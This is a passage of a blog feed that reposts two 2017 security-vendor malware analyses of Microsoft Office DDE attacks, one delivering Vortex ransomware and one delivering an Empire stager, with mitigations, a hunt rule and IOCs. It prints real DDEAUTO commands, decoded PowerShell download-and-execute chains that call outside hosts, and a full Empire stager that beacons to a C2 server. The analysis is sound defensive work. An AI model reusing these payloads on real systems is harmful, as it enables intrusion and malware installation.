&lt;p&gt;Unfortunately, it appears that ransomware authors are now starting to employ the use of Microsoft Office DDE malware carriers. This post will likely be our last on DDE dissection and covers the delivery of Vortex ransomware, seemingly targeted towards Poland.&amp;nbsp;You can continue this research path using our hunt rule: (&lt;a href=&quot;https://github.com/InQuest/yara-rules/blob/master/Microsoft_Office_DDE_Command_Execution.rule&quot; target=&quot;_top&quot;&gt;Microsoft_Office_DDE_Command_Execution.rule&lt;/a&gt;) on&amp;nbsp;&lt;a href=&quot;https://www.virustotal.com/&quot; target=&quot;_top&quot;&gt;Virus Total&lt;/a&gt;&amp;nbsp;Intelligence (VTI). The final delivered payload in this attack is Vortex Ransomware:&lt;img src=&quot;/legacy/2017-10-14-microsoft-office-dde-vortex-ransomware-targeting-poland/vortex-ransomware.png&quot; alt=&quot;&quot;&gt;Vortex Ransomware&lt;/p&gt;

&lt;p&gt;Stepping backwards however to the initial DDE sample, we have&amp;nbsp;&lt;a href=&quot;https://www.virustotal.com/en/file/bd61559c7dcae0edef672ea922ea5cf15496d18cc8c1cbebee9533295c2d2ea9/analysis/&quot; target=&quot;_top&quot;&gt;bd61559c7dcae0edef672ea922ea5cf15496d18cc8c1cbebee9533295c2d2ea9 (1/59 AV detection rate)&lt;/a&gt;, which is in CDF format and leverages a more novel technique to pivot to the next payload via mshta.exe:&lt;/p&gt;

&lt;pre&gt;&lt;code&gt;DDEAUTO C:\\Programs\\Microsoft\\Office\\MSword.exe\\..\\..\\..\\..\\windows\\system32\\mshta.exe &quot;http://w-szczecin.pl/img2/NEW15_10.doc/index.hta
&lt;/code&gt;&lt;/pre&gt;

&lt;p&gt;Let's pull down the payload and see what we have:&lt;/p&gt;

&lt;pre&gt;&lt;code&gt;$ wget http://w-szczecin.pl/img2/NEW15_10.doc/index.hta
--2017-10-15 18:15:08--  http://w-szczecin.pl/img2/NEW15_10.doc/index.hta
Resolving w-szczecin.pl... 91.231.140.161
Connecting to w-szczecin.pl|91.231.140.161|:80... connected.
HTTP request sent, awaiting response... 200 OK
Length: 3444 (3.4K)
Saving to: ‘index.hta’
2017-10-15 18:15:09 (109 MB/s) - ‘index.hta’ saved &amp;#91;3444/3444]

$ cat index.hta
&lt;strong&gt;&amp;lt;!DOCTYPE html&amp;gt;&lt;/strong&gt;
&amp;lt;meta http-equiv=&quot;x-ua-compatible&quot; content=&quot;ie=emulateie8&quot; &amp;gt;
&amp;lt;html&amp;gt;
&amp;lt;body&amp;gt;
&amp;lt;script language=&quot;javascript&quot;&amp;gt;
&lt;em&gt;&amp;lt;!--
document.write(unescape('%3C%21%44%4F%43%54%59%50%45%20%68%74%6D%6C%3E%0A%3C%6D%65%74%61%20%68%74%74%70%2D%65%71%75%69%76%3D%22%78%2D%75%61%2D%63%6F%6D%70%61%74%69%62%6C%65%22%20%63%6F%6E%74%65%6E%74%3D%22%69%65%3D%65%6D%75%6C%61%74%65%69%65%38%22%20%3E%0A%3C%68%74%6D%6C%3E%0A%3C%62%6F%64%79%3E%0A%3C%73%63%72%69%70%74%20%6C%61%6E%67%75%61%67%65%3D%22%76%62%73%63%72%69%70%74%22%3E%0A%44%69%6D%20%41%4E%44%52%5A%45%4A%48%44%39%31%20%3A%20%44%69%6D%20%6A%6A%6A%6A%20%3A%20%53%65%54%20%41%4E%44%52%5A%45%4A%48%44%39%31%20%3D%20%63%72%65%61%74%65%6F%62%6A%65%63%74%20%28%20%22%77%73%63%72%49%50%74%2E%73%48%45%4C%6C%22%20%29%20%3A%20%6A%6A%6A%6A%20%3D%20%22%20%70%6F%77%65%72%73%68%65%6C%6C%2E%65%78%65%20%2D%45%78%65%43%55%74%49%6F%6E%50%6F%6C%49%63%59%20%62%79%70%61%73%73%20%20%2D%57%49%4E%64%6F%77%53%54%59%4C%45%20%68%69%64%64%45%6E%20%2D%45%4E%43%6F%64%65%64%63%4F%4D%4D%41%4E%64%20%55%41%42%76%41%48%63%41%5A%51%42%79%41%46%4D%41%61%41%42%6C%41%47%77%41%62%41%41%67%41%43%30%41%52%51%42%34%41%47%55%41%59%77%42%31%41%48%51%41%61%51%42%76%41%47%34%41%55%41%42%76%41%47%77%41%61%51%42%6A%41%48%6B%41%49%41%42%69%41%48%6B%41%63%41%42%68%41%48%4D%41%63%77%41%67%41%43%30%41%62%67%42%76%41%48%41%41%63%67%42%76%41%47%59%41%61%51%42%73%41%47%55%41%49%41%41%74%41%48%63%41%61%51%42%75%41%47%51%41%62%77%42%33%41%48%4D%41%64%41%42%35%41%47%77%41%5A%51%41%67%41%47%30%41%61%51%42%75%41%47%6B%41%62%51%42%70%41%48%6F%41%5A%51%42%6B%41%43%41%41%4C%51%42%6A%41%47%38%41%62%51%42%74%41%47%45%41%62%67%42%6B%41%43%41%41%4B%41%42%4F%41%47%55%41%64%77%41%74%41%45%38%41%59%67%42%71%41%47%55%41%59%77%42%30%41%43%41%41%55%77%42%35%41%48%4D%41%64%41%42%6C%41%47%30%41%4C%67%42%4F%41%47%55%41%64%41%41%75%41%46%63%41%5A%51%42%69%41%45%4D%41%62%41%42%70%41%47%55%41%62%67%42%30%41%43%6B%41%4C%67%42%45%41%47%38%41%64%77%42%75%41%47%77%41%62%77%42%68%41%47%51%41%52%67%42%70%41%47%77%41%5A%51%41%6F%41%43%63%41%61%41%42%30%41%48%51%41%63%41%41%36%41%43%38%41%4C%77%42%33%41%43%30%41%63%77%42%36%41%47%4D%41%65%67%42%6C%41%47%4D%41%61%51%42%75%41%43%34%41%63%41%42%73%41%43%38%41%61%51%42%74%41%47%63%41%4D%67%41%76%41%48%4D%41%4E%51%41%77%41%43%34%41%5A%51%42%34%41%47%55%41%4A%77%41%73%41%42%30%67%4A%41%42%6C%41%47%34%41%64%67%41%36%41%45%45%41%55%41%42%51%41%45%51%41%51%51%42%55%41%45%45%41%58%41%42%75%41%48%59%41%63%77%42%7A%41%43%34%41%5A%51%42%34%41%47%55%41%48%53%41%70%41%44%73%41%55%77%42%30%41%47%45%41%63%67%42%30%41%43%30%41%55%41%42%79%41%47%38%41%59%77%42%6C%41%48%4D%41%63%77%41%67%41%43%67%41%48%53%41%6B%41%47%55%41%62%67%42%32%41%44%6F%41%51%51%42%51%41%46%41%41%52%41%42%42%41%46%51%41%51%51%42%63%41%47%34%41%64%67%42%7A%41%48%4D%41%4C%67%42%6C%41%48%67%41%5A%51%41%64%49%43%6B%41%20%22%20%3A%20%41%4E%44%52%5A%45%4A%48%44%39%31%2E%52%55%4E%20%43%48%72%20%28%20%33%34%20%29%20%26%20%41%4E%44%52%5A%45%4A%48%44%39%31%2E%65%58%50%61%6E%44%65%6E%56%49%72%6F%4E%6D%45%6E%74%73%54%52%69%4E%47%53%28%20%22%25%43%4F%4D%53%70%45%43%25%22%20%29%20%26%20%63%48%52%20%28%20%33%34%20%29%20%26%20%43%48%72%20%28%20%33%34%20%29%20%26%20%22%2F%63%20%22%20%26%20%6A%6A%6A%6A%20%26%20%63%68%72%20%28%20%33%34%20%29%20%2C%20%30%20%3A%20%53%45%74%20%41%4E%44%52%5A%45%4A%48%44%39%31%20%3D%20%4E%4F%54%48%49%6E%47%0A%3C%2F%73%63%72%69%70%74%3E%0A%0A%3C%2F%62%6F%64%79%3E%0A%3C%2F%68%74%6D%6C%3E'));
//--&amp;gt;&lt;/em&gt;
&amp;lt;/script&amp;gt;
&amp;lt;/body&amp;gt;
&amp;lt;/html&amp;gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;p&gt;Unescape the long string and you'll find:&lt;/p&gt;

&lt;pre&gt;&lt;code&gt;&lt;strong&gt;&amp;lt;!DOCTYPE html&amp;gt;&lt;/strong&gt;
&amp;lt;meta http-equiv=&quot;x-ua-compatible&quot; content=&quot;ie=emulateie8&quot; &amp;gt;
&amp;lt;html&amp;gt;
&amp;lt;body&amp;gt;
&amp;lt;script language=&quot;vbscript&quot;&amp;gt;
Dim ANDRZEJHD91 : Dim jjjj : SeT ANDRZEJHD91 = createobject ( &quot;wscrIPt.sHELl&quot; ) : jjjj = &quot; powershell.exe -ExeCUtIonPolIcY bypass  -WINdowSTYLE hiddEn -ENCodedcOMMANd UABvAHcAZQByAFMAaABlAGwAbAAgAC0ARQB4AGUAYwB1AHQAaQBvAG4AUABvAGwAaQBjAHkAIABiAHkAcABhAHMAcwAgAC0AbgBvAHAAcgBvAGYAaQBsAGUAIAAtAHcAaQBuAGQAbwB3AHMAdAB5AGwAZQAgAG0AaQBuAGkAbQBpAHoAZQBkACAALQBjAG8AbQBtAGEAbgBkACAAKABOAGUAdwAtAE8AYgBqAGUAYwB0ACAAUwB5AHMAdABlAG0ALgBOAGUAdAAuAFcAZQBiAEMAbABpAGUAbgB0ACkALgBEAG8AdwBuAGwAbwBhAGQARgBpAGwAZQAoACcAaAB0AHQAcAA6AC8ALwB3AC0AcwB6AGMAegBlAGMAaQBuAC4AcABsAC8AaQBtAGcAMgAvAHMANQAwAC4AZQB4AGUAJwAsAB0gJABlAG4AdgA6AEEAUABQAEQAQQBUAEEAXABuAHYAcwBzAC4AZQB4AGUAHSApADsAUwB0AGEAcgB0AC0AUAByAG8AYwBlAHMAcwAgACgAHSAkAGUAbgB2ADoAQQBQAFAARABBAFQAQQBcAG4AdgBzAHMALgBlAHgAZQAdICkA &quot; : ANDRZEJHD91.RUN CHr ( 34 ) &amp;amp; ANDRZEJHD91.eXPanDenVIroNmEntsTRiNGS( &quot;%COMSpEC%&quot; ) &amp;amp; cHR ( 34 ) &amp;amp; CHr ( 34 ) &amp;amp; &quot;/c &quot; &amp;amp; jjjj &amp;amp; chr ( 34 ) , 0 : SEt ANDRZEJHD91 = NOTHInG
&amp;lt;/script&amp;gt;
&amp;lt;/body&amp;gt;
&amp;lt;/html&amp;gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;p&gt;We'll use our iPython shell to base64 decode the string above:&lt;/p&gt;

&lt;pre&gt;&lt;code&gt;&lt;strong&gt;In&lt;/strong&gt; &amp;#91;40]: print base64.b64decode(&quot;UABvAHcAZQByAFMAaABlAGwAbAAgAC0ARQB4AGUAYwB1AHQAaQBvAG4AUABvAGwAaQBjAHkAIABiAHkAcABhAHMAcwAgAC0AbgBvAHAAcgBvAGYAaQBsAGUAIAAtAHcAaQBuAGQAbwB3AH
    ...: MAdAB5AGwAZQAgAG0AaQBuAGkAbQBpAHoAZQBkACAALQBjAG8AbQBtAGEAbgBkACAAKABOAGUAdwAtAE8AYgBqAGUAYwB0ACAAUwB5AHMAdABlAG0ALgBOAGUAdAAuAFcAZQBiAEMAbABpAGUAbgB0ACkALgBEAG8AdwBu
    ...: AGwAbwBhAGQARgBpAGwAZQAoACcAaAB0AHQAcAA6AC8ALwB3AC0AcwB6AGMAegBlAGMAaQBuAC4AcABsAC8AaQBtAGcAMgAvAHMANQAwAC4AZQB4AGUAJwAsAB0gJABlAG4AdgA6AEEAUABQAEQAQQBUAEEAXABuAHYAcw
    ...: BzAC4AZQB4AGUAHSApADsAUwB0AGEAcgB0AC0AUAByAG8AYwBlAHMAcwAgACgAHSAkAGUAbgB2ADoAQQBQAFAARABBAFQAQQBcAG4AdgBzAHMALgBlAHgAZQAdICkA&quot;)
PowerShell -ExecutionPolicy bypass -noprofile -windowstyle minimized -command (New-Object System.Net.WebClient).DownloadFile('http://w-szczecin.pl/img2/s50.exe';, $env:APPDATA\nvss.exe );Start-Process ( $env:APPDATA\nvss.exe )
&lt;/code&gt;&lt;/pre&gt;

&lt;p&gt;Next, we pulled down the executable and uploaded it to Virus Total (first upload)&amp;nbsp;&lt;a href=&quot;https://www.virustotal.com/#/file/fe72a6b6da83c779787b2102d0e2cfd45323ceab274924ff617eb623437c2669/detection&quot; target=&quot;_top&quot;&gt;fe72a6b6da83c779787b2102d0e2cfd45323ceab274924ff617eb623437c2669 (2/65 AV detection rate)&lt;/a&gt;:&lt;img src=&quot;/legacy/2017-10-14-microsoft-office-dde-vortex-ransomware-targeting-poland/vt-fe72a6b6da83c779787b2102d0e2cfd45323ceab274924ff617eb623437c2669.png&quot; alt=&quot;&quot;&gt;Virus Total Results&lt;/p&gt;

&lt;p&gt;This final .exe payload masquerades as an NVIDIA service. Here's a&amp;nbsp;&lt;a href=&quot;https://www.joesecurity.org/&quot; target=&quot;_top&quot;&gt;Joe Sandbox&lt;/a&gt;&amp;nbsp;report:&lt;/p&gt;

&lt;ul&gt;&lt;li&gt;&lt;a href=&quot;https://jbxcloud.joesecurity.org/analysis/388248/0/html&quot; target=&quot;_top&quot;&gt;https://jbxcloud.joesecurity.org/analysis/388248/0/html&lt;/a&gt;&lt;/li&gt;&lt;/ul&gt;

&lt;p&gt;Notice from the report that the sample communicates with&amp;nbsp;&lt;code&gt;beer-ranking.pl&lt;/code&gt;, a domain that was registered on 2017-10-14 with an address tied to nearly 600,000 other domains:&lt;/p&gt;

&lt;ul&gt;&lt;li&gt;&lt;a href=&quot;https://reversewhois.domaintools.com/?email=ef1fbf8d4fed46b3d30a4e1e05444de2&quot; target=&quot;_top&quot;&gt;https://reversewhois.domaintools.com/?email=ef1fbf8d4fed46b3d30a4e1e05444de2&lt;/a&gt;&lt;/li&gt;&lt;/ul&gt;

&lt;p&gt;InQuest detects exploitation of these and other DDE attacks via our Deep File Inspection (DFI) stack and signature MC_Office_DDE_Command_Exec (event ID 5000728) released on October 10th, 2017. We're also big fans of Joe Sandbox. It's one of multiple active integrations within the InQuest platform. We additionally support&amp;nbsp;&lt;a href=&quot;https://www.payload-security.com/products/vxstream-sandbox&quot; target=&quot;_top&quot;&gt;VXStream&lt;/a&gt;,&amp;nbsp;&lt;a href=&quot;https://www.cuckoosandbox.org/&quot; target=&quot;_top&quot;&gt;Cuckoo&lt;/a&gt;, and&amp;nbsp;&lt;a href=&quot;https://www.fireeye.com/products/malware-analysis.html&quot; target=&quot;_top&quot;&gt;FireEye&lt;/a&gt;&amp;nbsp;sandbox integrations. We're looking at adding support for&amp;nbsp;&lt;a href=&quot;https://www.vmray.com/&quot; target=&quot;_top&quot;&gt;VMRay analyzer&lt;/a&gt;&amp;nbsp;next. Active integrations within InQuest are fed files that we carve off the wire. The integration is then given time to complete its analysis at which point the InQuest integration will retrieve the results and factor it into the final session threat score. For more information on other integrations we support, see&amp;nbsp;&lt;a href=&quot;https://web.archive.org/web/2018/http://www.inquest.net/&quot; target=&quot;_top&quot;&gt;www.InQuest.net&lt;/a&gt;.&lt;/p&gt;

&lt;p&gt;To follow along the highlights of the conversation on Twitter, follow this moment:&lt;/p&gt;

&lt;ul&gt;&lt;li&gt;&lt;a href=&quot;https://twitter.com/i/moments/918126999738175489&quot; target=&quot;_top&quot;&gt;Microsoft Office DDE Macro-less Command Execution Vulnerability&lt;/a&gt;&lt;/li&gt;&lt;/ul&gt;

&lt;h2&gt;IOCs&lt;/h2&gt;

&lt;ul&gt;&lt;li&gt;beer-ranking[.]pl&lt;/li&gt;&lt;/ul&gt;
&lt;p class=&quot;dim&quot;&gt;&lt;i&gt;Originally published 2017-10-14 on &lt;a href=&quot;https://web.archive.org/web/2018/https://inquest.net/blog/2017/10/14/microsoft-office-dde-sec-omb-approval-lure&quot; target=&quot;_top&quot;&gt;the InQuest blog&lt;/a&gt;.&lt;/i&gt;&lt;/p&gt;
</description>
        </item>
                <item>
            <title>10.13.2017: Microsoft Office DDE Macro-less Command Execution Vulnerability</title>
            <link>http://pedramamini.com/blog/2017.10.13/</link>
            <pubDate>Fri, 13 Oct 2017 00:00:00 -0500</pubDate>
            <description>&lt;p&gt;On October 9th 2017, SensePost researchers posted a technique demonstrating [macro-less command execution in Microsoft Office](https://sensepost.com/blog/2017/macro-less-code-exec-in-msword/) documents through Dynamic Data Exchange (DDE). While variations of this technique are known, the post shed light on the fact that Microsoft has no intent to address the matter, and that &quot;exploit&quot; creation is trivial.&lt;br&gt;
&lt;br&gt;
We'll kick this blog off with a mitigation for the attack, toggle the following registry key:&lt;/p&gt;
&lt;p&gt;```text&lt;br&gt;
HKCU\Software\Microsoft\Office\XX.Y\Word\Options\DontUpdateLinks = REG_DWORD 0x01&lt;br&gt;
```&lt;/p&gt;
&lt;p&gt;Where &quot;XX.Y&quot; above maps to your version of Office. You can also reference the following [STIG finding V-17811](https://www.stigviewer.com/stig/microsoft_word_2007/2014-04-03/finding/V-17811).&lt;/p&gt;
&lt;p&gt;For anyone interested in following the highlights of the conversation, we're maintaining the following Twitter &quot;moment&quot; to capture relevant references and conversation surrounding the issue, detection, hunting, payloads, and mitigations:&lt;/p&gt;
&lt;p&gt;  * [Microsoft Office DDE Macro-less Command Execution Vulnerability](https://twitter.com/i/moments/918126999738175489)&lt;/p&gt;
&lt;p&gt;In anticipation of threat actors adopting this technique for their campaigns, we created the following Virus Total Intelligence (VTI) hunt rule to begin collecting in-the-wild samples:&lt;/p&gt;
&lt;p&gt;  * [https://github.com/InQuest/yara-rules/blob/master/Microsoft_Office_DDE_Command_Execution.rule](https://github.com/InQuest/yara-rules/blob/master/Microsoft_Office_DDE_Command_Execution.rule)&lt;/p&gt;
&lt;p&gt;We've predominantly seen collected samples come in two forms:&lt;/p&gt;
&lt;p&gt;  * Microsoft DOCX format (Word 2007+)&lt;br&gt;
  * Microsoft Composite Document File (CDFv2) format&lt;/p&gt;
&lt;p&gt;In the case of CDF format the DDEAUTO is visible plainly from the file, for example from the following sample [8630169ab9b4587382d4b9a6d17fd1033d69416996093b6c1a2ecca6b0c04184 (1/60 AV detection rate)](https://www.virustotal.com/en/file/8630169ab9b4587382d4b9a6d17fd1033d69416996093b6c1a2ecca6b0c04184/analysis/):&lt;/p&gt;
&lt;p&gt;```text&lt;br&gt;
... trimmed for brevity ...&lt;br&gt;
\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x13 DDEAUTO c:\\Windows\\System32\\cmd.exe &quot;/k powershell.exe -w hidden -nop -ep bypass Start-BitsTransfer -Source &quot;https://www.dropbox[.]com/s/or2llvdmli1bw4o/index.js?dl=1&quot; -Destination &quot;index.js&quot; &amp;amp; start c:\\Windows\\System32\\cmd.exe /c cscript.exe index.js&quot;\x14!Final de f\xF3rmula inesperado\x15\x0D\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00&lt;br&gt;
```&lt;/p&gt;
&lt;p&gt;Incidentally, That payload pivots through cscript.exe to extract, decode, and execute [Zusy malware](https://www.trendmicro.com/vinfo/us/threat-encyclopedia/malware/tspy_zbot.zusy) from index.js.&lt;/p&gt;
&lt;p&gt;In the case of DOCX format samples, you'll need to decompress the sample first. For an example of that, let's consider the following interesting sample that came up from our hunts:&lt;br&gt;
[11a6422ab6da62d7aad4f39bed0580db9409f9606e4fa80890a76c7eabfb1c13 (9/60 AV detection rate)](https://www.virustotal.com/en/file/11a6422ab6da62d7aad4f39bed0580db9409f9606e4fa80890a76c7eabfb1c13/analysis/)&lt;/p&gt;
&lt;p&gt;First we download the sample, confirm it's DOCX, then unzip:&lt;br&gt;
```text&lt;br&gt;
$ vt download 11a6422ab6da62d7aad4f39bed0580db9409f9606e4fa80890a76c7eabfb1c13&lt;/p&gt;
&lt;p&gt;$ file 11a6422ab6da62d7aad4f39bed0580db9409f9606e4fa80890a76c7eabfb1c13 11a6422ab6da62d7aad4f39bed0580db9409f9606e4fa80890a76c7eabfb1c13: Microsoft Word 2007+&lt;/p&gt;
&lt;p&gt;$ unzip -p 11a6422ab6da62d7aad4f39bed0580db9409f9606e4fa80890a76c7eabfb1c13 word/document.xml&lt;br&gt;
[11a6422ab6da62d7aad4f39bed0580db9409f9606e4fa80890a76c7eabfb1c13]&lt;br&gt;
  End-of-central-directory signature not found.  Either this file is not&lt;br&gt;
  a zipfile, or it constitutes one disk of a multi-part archive.  In the&lt;br&gt;
  latter case the central directory and zipfile comment will be found on&lt;br&gt;
  the last disk(s) of this archive.&lt;br&gt;
```&lt;/p&gt;
&lt;p&gt;Note that generally you can use unzip to decompress these samples, but the malware author took an extra step here to evade detection; Microsoft parsers are famously forgiving. Look at some of the work from [Corkami](https://github.com/corkami/) or [Alex Sotirov's](https://twitter.com/alexsotirov) Tiny PE work, to get an idea of how flexible the PE parser is for example. We switch to using 7Zip, which works. Additionally, we use Sed to strip the XML to reveal the payload, which is hosted on Amazon AWS:&lt;/p&gt;
&lt;p&gt;```text&lt;br&gt;
$ 7z e -so 11a6422ab6da62d7aad4f39bed0580db9409f9606e4fa80890a76c7eabfb1c13 word/document.xml | sed 's/&amp;lt;[^&amp;gt;]*&amp;gt;//g'&lt;/p&gt;
&lt;p&gt;DDEAUTO c:\\Windows\\System32\\cmd.exe &quot;/k powershell.exe -NoP -sta -NonI -W Hidden $e=(New-Object System.Net.WebClient).DownloadString('http://ec2-54-158-67-5.compute-1.amazonaws.com/CCA/DDE2.ps1');powershell -e $e &quot; !Unexpected End of Formula&lt;br&gt;
```&lt;/p&gt;
&lt;p&gt;Next we pull down the payload, which is base64 encoded. Note the usage of Internet Explorer 11 user-agent. Also note that the next payload is XOR encoded and the key for decoding it is &quot;294aa01c70a8f958a016e582d0bd4ab9&quot;.&lt;/p&gt;
&lt;p&gt;```powershell&lt;br&gt;
$ wget http://ec2-54-158-67-5.compute-1.amazonaws.com/CCA/DDE2.ps1&lt;/p&gt;
&lt;p&gt;$ cat DDE2.ps1 | base64 -D&lt;br&gt;
[SystEM.NET.SerViCEPOiNTMaNaGer]::EXPeCt100COnTinue = 0;$wc=NEw-ObJecT SYstEm.NET.WEBCLIENT;$u='Mozilla/5.0 (Windows NT 6.1; WOW64; Trident/7.0; rv:11.0) like Gecko';[System.Net.ServicePointManager]::ServerCertificateValidationCallback = {$true};$wc.HEAdeRs.Add('User-Agent',$u);$wC.PROXY = [SySTeM.Net.WebREQueSt]::DEFAultWebPROxY;$wC.PrOxY.CrEDEntIAlS = [SYSteM.NEt.CRedEntialCaChe]::DeFaUlTNEtWorKCRedEnTIAlS;$K='294aa01c70a8f958a016e582d0bd4ab9';$I=0;[Char[]]$B=([cHar[]]($Wc.DoWNLoADSTring(&quot;https://23.239.28[.]30:443/index.asp&quot;)))|%{$_-BXOr$K[$i++%$k.LEnGtH]};IEX ($B-Join'')&lt;br&gt;
```&lt;/p&gt;
&lt;p&gt;The trail leads from HTTP on EC2 to HTTPS Linode, let's see what we have there. Note that the certificate isn't valid.&lt;/p&gt;
&lt;p&gt;```text&lt;br&gt;
$ wget https://23.239.28.30:443/index.asp --no-check-certificate&lt;br&gt;
--2017-10-12 16:04:31--  https://23.239.28.30/index.asp&lt;br&gt;
Connecting to 23.239.28.30:443... connected.&lt;br&gt;
WARNING: cannot verify 23.239.28.30's certificate, issued by ‘CN=Let's Encrypt Authority X3,O=Let's Encrypt,C=US’:&lt;br&gt;
  Unable to locally verify the issuer's authority.&lt;br&gt;
    WARNING: certificate common name ‘web01.allcleardata.com’ doesn't match requested host name ‘23.239.28.30’.&lt;br&gt;
HTTP request sent, awaiting response... 200 OK&lt;br&gt;
Length: unspecified&lt;br&gt;
Saving to: ‘index.asp’&lt;/p&gt;
&lt;p&gt;2017-10-12 16:04:31 (67.4 MB/s) - ‘index.asp’ saved [2898]&lt;br&gt;
```&lt;/p&gt;
&lt;p&gt;The bytes in index.asp are XOR encoded, let's decode that with a python one-liner:&lt;/p&gt;
&lt;p&gt;```powershell&lt;br&gt;
$ python -c 'import itertools; print &quot;&quot;.join(chr(ord(x) ^ ord(y)) for (x,y) in itertools.izip(open(&quot;index.asp&quot;, &quot;rb&quot;).read(), itertools.cycle(&quot;294aa01c70a8f958a016e582d0bd4ab9&quot;)))'&lt;br&gt;
FUnCTION StaRT-NEGotiAte{param($s,$SK,$UA=&quot;lol&quot;)Add-TYPE -aSSeMbLY SysTEM.SeCURITY;ADD-Type -AssEMBLY SyStem.CORE;$ErrorActionPreference = &quot;SilentlyContinue&quot;;$e=[SySTEM.TeXT.EncODing]::ASCII;$AES=NEW-OBJECT SYsTEm.SecurITY.CrYPTogRApHy.AesCRyPtOSeRvIcEProviDer;$IV = [byTe] 0..255 | GEt-RaNdOM -cOUNT 16;$AES.Mode=&quot;CBC&quot;; $AES.Key=$e.GetBytes($SK); $AES.IV = $IV;$CSP = NEw-ObJeCt SYstEm.SEcURiTy.CrYptogRapHy.CspParAmeteRs;$csp.FLAGs = $CSp.FLaGS -BOR [SysteM.SeCuriTy.CRYPtOGraPhY.CspPrOVIderFLAGs]::USeMAChinEKEyStORE;$Rs = NeW-OBjecT SYSteM.SEcuRiTY.CrYPtoGRaPhy.RSACRYptOSeRVICePROViDer -ARgumENtList 2048,$CsP;$rK=$rS.ToXMLSTRING($FAlSE);$r=1..16|ForEACH-OBjECt{GET-RAndom -MAX 26};$ID=('ABCDEFGHKLMNPRSTUVWXYZ123456789'[$r] -join '');$Ib=$E.GeTBYTes($RK);$eB=$IV+$AES.CREATeEncRYPTor().TrAnsFoRmFinalBlocK($IB,0,$Ib.LengTH);If(-nOT $Wc){$Wc=new-oBjECT SySTem.NET.WEBCLieNT;$wc.PrOXY = [SYSTem.NEt.WeBREQUEsT]::GeTSySteMWeBPROxY();$wc.ProXy.CREDentIaLS = [SYStem.NEt.CrEDenTiAlCacHe]::DEFAuLtCREdEnTIALS;}$wc.Headers.Add(&quot;User-Agent&quot;,$UA);$wc.Headers.Add(&quot;Cookie&quot;,&quot;SESSIONID=$ID&quot;);$raw=$wc.UploadData($s+&quot;index.jsp&quot;,&quot;POST&quot;,$eb);$De=$e.GeTSTRING($rS.DeCRYPT($raw,$False));$epOCh=$DE[0..9] -joIn'';$key=$de[10..$De.Length] -JoiN '';$AES=New-ObjeCT System.SeCurItY.CRYPtOGRaPhy.AesCrYptOSerVicePRoviDEr;$IV = [bYtE] 0..255 | Get-RanDOM -cOUNt 16;$AES.Mode=&quot;CBC&quot;; $AES.Key=$e.GetBytes($key); $AES.IV = $IV;$I=$S+'|'+[EnvIROnmENT]::UseRDOMAinNAMe+'|'+[ENViRONMEnT]::UsERNaMe+'|'+[EnVIRONMENt]::MACHineNAme;$p=(GWMi WIN32_NeTwoRkAdaptErCoNfIguRaTIoN|WHErE{$_.IPAddRESS}|SelECT -EXpAND IPAddRESs);$iP = @{$TruE=$p[0];$FALSe=$P}[$P.LengTh -Lt 6];if(!$Ip -or $IP.triM() -eq '') {$Ip='0.0.0.0'};$i+=&quot;|$ip&quot;;$I+='|'+(Get-WmiOBject Win32_OPerATIngSySTEm).Name.spLit('|')[0];if(([Environment]::UserName).ToLower() -eq &quot;system&quot;){$i+='|True'}else {$i += &quot;|&quot; +([Security.Principal.WindowsPrincipal] [Security.Principal.WindowsIdentity]::GetCurrent()).IsInRole([Security.Principal.WindowsBuiltInRole] &quot;Administrator&quot;)}$N=[System.DiaGNostiCS.ProCEss]::GETCUrrEnTPrOceSS();$I+='|'+$n.PROCessName+'|'+$N.Id;$I += '|' + $PSVERSiONTaBLE.PSVerSIon.MaJOR;$ib2=$E.GeTbYtEs($I);$eB2=$IV+$AES.CREatEENCRYpTor().TransFOrmFinAlBloCK($ib2,0,$Ib2.LengTH);$wc.Headers.Add(&quot;User-Agent&quot;,$UA);$raw=$wc.UploadData($s+&quot;index.php&quot;,&quot;POST&quot;,$eb2);$AES=NEw-ObjEct SYstem.SecuritY.CrYpTOGraPHY.AEsCrypToSErViCePROViDER;$AES.Mode=&quot;CBC&quot;;$IV = $raw[0..15];$AES.KEY=$e.GETByTES($KEy);$AES.IV = $IV;IEX $([SysTeM.TExT.ENcODINg]::ASCII.GeTStrinG( $($AES.CREAtEDECryPtoR().TRAnSFoRmFiNALBloCK($RAW[16..$RAW.LEngtH],0,$rAw.LENGtH-16))));$AES=$NUlL;$S2=$NULL;$wc=$NULl;$Eb2=$NULl;$raw=$nuLl;$IV=$NulL;$wc=$NulL;$i=$nulL;$iB2=$nUlL;[GC]::COlLECt();Invoke-Empire -Servers @(($s -split &quot;/&quot;)[0..2] -join &quot;/&quot;) -SessionKey $key -SessionID $ID -Epoch $epoch;} Start-Negotiate -s &quot;https://23.239.28[.]30:443/&quot;; -SK '294aa01c70a8f958a016e582d0bd4ab9' -UA $u;&lt;br&gt;
```&lt;/p&gt;
&lt;p&gt;Looks like the final payload is [Empire](https://github.com/EmpireProject/Empire) which, when executed, will post back to that same Linode server. InQuest detects exploitation of these and other DDE attacks via our Deep File Inspection (DFI) stack and signature MC_Office_DDE_Command_Exec (event ID 5000728) released on October 10th, 2017. Our DFI stack is what's responsible for peeling away the variety of layers typically present in malicious content. The process is recursive and a variety of techniques are applied in parallel to expose all embedded layers. For more information about DFI, see [www.InQuest.net](http://www.inquest.net) or reach out to us directly.&lt;/p&gt;
&lt;p&gt;# IOCs&lt;/p&gt;
&lt;p&gt;  * 23.239.28[.]30&lt;br&gt;
  * 54.158.67[.]5&lt;br&gt;
  * ec2-54-158-67-5.compute-1.amazonaws[.]com&lt;/p&gt;
&lt;p class=&quot;dim&quot;&gt;&lt;i&gt;Originally published 2017-10-13 on &lt;a href=&quot;https://web.archive.org/web/2018/https://inquest.net/blog/2017/10/14/microsoft-office-dde-macro-less-command-execution-vulnerability&quot; target=&quot;_top&quot;&gt;the InQuest blog&lt;/a&gt;.&lt;/i&gt;&lt;/p&gt;
</description>
        </item>
                <item>
            <title>10.15.2015: Latest Venture: B2B</title>
            <link>http://pedramamini.com/blog/2015.10.15/</link>
            <pubDate>Thu, 15 Oct 2015 00:00:00 -0500</pubDate>
            <description>I will seemingly never get around to updating this page. In the meanwhile if anyone is curious what I'm up to, this is it:&lt;ul&gt;&lt;li&gt;&lt;a href='http://www.inquest.net' target='_top'&gt;InQuest&lt;/a&gt; protects your users from the myriad of attacks of today and the evolving threats of tomorrow.&lt;/li&gt;
